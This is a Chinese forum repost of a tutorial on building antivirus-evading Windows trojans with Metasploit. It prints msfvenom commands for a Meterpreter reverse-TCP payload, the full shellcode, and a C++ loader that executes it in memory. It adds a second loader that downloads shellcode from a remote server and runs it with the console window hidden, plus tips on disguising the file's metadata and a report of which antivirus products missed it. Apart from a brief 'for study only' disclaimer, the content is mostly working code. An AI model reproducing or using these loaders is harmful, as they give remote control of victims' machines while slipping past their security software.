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- 原创技术文章：
- 原创文章 https://limingzxc.github.io/2023/05/05/windows%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%BC%80%E5%8F%91%EF%BC%88%E4%B8%80%EF%BC%89/
在阅读本篇文章前，您应该已经学习过Meterpreter的基本操作方法，并且知道未经允许的情况下，侵入、控制他人计算机是违法行为，本文章仅供学习使用。
众所周知，用Msfvenom生成的木马程序会被杀毒软件报毒，所以我们可以让Msfvenom生成shellcode，然后自己利用c/c++程序调用Windows的API，从而让shellcode载入内存运行，以此来逃避杀毒软件。
我们使用virustotal来检测我们木马的危险分数，virustotal会调用许多杀毒引擎和沙箱来检测软件是否是病毒。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f exe -o msf.exe
我们先用msfvenom生成一个经典的windows木马，然后丢进virustotal里。
( )
可以看到大部分杀毒软件都报毒。
[md][/md]
所以我们改用Msfvenom生成shellcode，然后自己编写C/C++程序，执行shellcode，这样处理msfconsole依旧可以监听并连接程序。
生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.24.109 LPORT=4444 -fc
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x18\x6d\x68\x02\x00"
"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
我们先编写一个简单的C++程序
#include <windows.h>
using namespace std;
//如果想隐藏启动后的cmd窗口，可以将下面一行代码取消注释。
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
int main(int argc, char **argv) {
//msfvenom生成的shellcode
unsigned char shellcode[] = "...";
//使用VirtualAlloc函数为程序分配内存空间
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//将shellcode复制到分配的空间中
memcpy(exec, shellcode, sizeof shellcode);
//执行写入的内存
((void(*)())exec)();
return 0;
}
这里建议用Visual Studio编译，因为Visual Studio和Windows都是微软的产品，不会出现水土不服的现象，编译时尽量选择静态编译，避免出现目标电脑上没有依赖而运行不了的情况。
然后上传到virustotal
( )
可以看到分数降低了一些。
这里我们先介绍一种简单的绕过静态查杀的方法，那就是远程加载shellcode。
#include <windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
int main(int argc, char** argv)
{
const char buf[] = shellcode
FILE* fw = fopen("1.bin", "wb");
if (fw == NULL)
return 0;
/* 写入 */
for (int i = 0; i < strlen(buf); i++)
fwrite(buf + i, sizeof(char), 1, fw);
fclose(fw);
return 0;
}
我们先编写一个简单的c++程序，将我们的shellcode以二进制写入文件1.bin中，然后放到服务器上，之后再利用恶意程序下载它，并分配内存执行，这样我们就实现了shellcode和恶意程序分离，下面是恶意程序的代码。为了避免检测，我们尽量调用底层API去执行程序。
#include <windows.h>
#include <string>
#include <stdio.h>
using std::string;
#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
HINSTANCE hInst;
WSADATA wsaData;
void mParseUrl(char* mUrl, string& serverName, string& filepath, string& filename);
SOCKET connectToServer(char* szServerName, WORD portNum);
int getHeaderLength(char* content);
char* readUrl2(char* szUrl, long& bytesReturnedOut, char** headerOut);
int main() {
const int bufLen = 1024;
//这里填服务器ip或域名，用来加载shellcode
char url[] = "http://ip/1.bin";
char* szUrl = url;
long fileSize;
char* memBuffer, * headerBuffer;
FILE* fp;
memBuffer = headerBuffer = NULL;
if (WSAStartup(0x101, &wsaData) != 0) {
return -1;
}
memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
/*
if (fileSize != 0)
{
fp = fopen("down.file", "wb");
fwrite(memBuffer, 1, fileSize, fp);
fclose(fp);
delete(headerBuffer);
}
*/
delete(headerBuffer);
int code_length = strlen(memBuffer);
void* exec = VirtualAlloc(0, code_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, memBuffer, code_length);
((void(*)())exec)();
WSACleanup();
return 0;
}
void mParseUrl(char* mUrl, string& serverName, string& filepath, string& filename)
{
string url = mUrl;
string::size_type idx;
string::size_type last_slash_idx = url.find_last_of('/');
string::size_type last_dot_idx = url.find_last_of('.');
if (last_dot_idx != string::npos && last_dot_idx > last_slash_idx) {
filename = url.substr(last_slash_idx + 1);
filepath = url.substr(0, last_slash_idx + 1) + filename;
}
else {
filename = "";
filepath = url;
}
string::size_type i = 0;
if (url.substr(0, 7) == "http://") {
i = 7;
}
else if (url.substr(0, 8) == "https://") {
i = 8;
}
idx = url.find('/', i);
if (idx == string::npos) {
serverName = url.substr(i);
}
else {
serverName = url.substr(i, idx - i);
}
}
SOCKET connectToServer(char* szServerName, WORD portNum)
{
WSADATA wsaData;
SOCKET mySocket;
SOCKADDR_IN target;
WSAStartup(0x202, &wsaData);
mySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
target.sin_family = AF_INET;
target.sin_port = htons(portNum);
target.sin_addr.s_addr = inet_addr(szServerName);
if (target.sin_addr.s_addr == INADDR_NONE)
{
HOSTENT* host = gethostbyname(szServerName);
if (host == NULL)
{
return NULL;
}
CopyMemory(&target.sin_addr, host->h_addr_list[0], host->h_length);
}
if (connect(mySocket, (SOCKADDR*)&target, sizeof(target)) == SOCKET_ERROR)
{
closesocket(mySocket);
return NULL;
}
return mySocket;
}
int getHeaderLength(char* content)
{
const char* srchStr1 = "\r\n\r\n", * srchStr2 = "\n\r\n\r";
char* findPos;
int ofset = -1;
findPos = strstr(content, srchStr1);
if (findPos != NULL)
{
ofset = findPos - content;
ofset += strlen(srchStr1);
}
else
{
findPos = strstr(content, srchStr2);
if (findPos != NULL)
{
ofset = findPos - content;
ofset += strlen(srchStr2);
}
}
return ofset;
}
char* readUrl2(char* szUrl, long& bytesReturnedOut, char** headerOut)
{
const int bufSize = 512;
char readBuffer[bufSize], sendBuffer[bufSize], tmpBuffer[bufSize];
char* tmpResult = NULL, * result;
SOCKET conn;
string server, filepath, filename;
long totalBytesRead, thisReadSize, headerLen;
// Step 1: Parse the URL to get server name, file path, and file name
mParseUrl(szUrl, server, filepath, filename);
// Step 2: Connect to the server
conn = connectToServer((char*)server.c_str(), 80);
// Step 3: Send the GET request
sprintf(tmpBuffer, "GET %s HTTP/1.0", filepath.c_str());
strcpy(sendBuffer, tmpBuffer);
strcat(sendBuffer, "\r\n");
sprintf(tmpBuffer, "Host: %s", server.c_str());
strcat(sendBuffer, tmpBuffer);
strcat(sendBuffer, "\r\n");
strcat(sendBuffer, "\r\n");
printf(sendBuffer);
send(conn, sendBuffer, strlen(sendBuffer), 0);
// Step 4: Receive the response
totalBytesRead = 0;
while ((thisReadSize = recv(conn, readBuffer, bufSize, 0)) > 0) {
tmpResult = (char*)realloc(tmpResult, totalBytesRead + thisReadSize);
memcpy(tmpResult + totalBytesRead, readBuffer, thisReadSize);
totalBytesRead += thisReadSize;
}
// Step 5: Extract the header and content from the response
headerLen = getHeaderLength(tmpResult);
long contenLen = totalBytesRead - headerLen;
result = new char[contenLen + 1];
memcpy(result, tmpResult + headerLen, contenLen);
result[contenLen] = 0x0;
char* myTmp = new char[headerLen + 1];
strncpy(myTmp, tmpResult, headerLen);
myTmp[headerLen] = '\0';
delete[] tmpResult;
*headerOut = myTmp;
bytesReturnedOut = contenLen;
// Step 6: Clean up and return the result
closesocket(conn);
return result;
}
还有我们用Visual Studio添加资源文件，这样就可以更改程序的元信息，起到伪装的效果，还能再降低一点程序的恶意分数
( )
然后我们再看看分数
( )
这里其实就可以绕过一部分杀软了，经过作者的测试，联想电脑管家和火绒都没有报毒。
|
吾爱游客
发表于 2025-1-22 13:01
发表于 2025-1-22 15:48
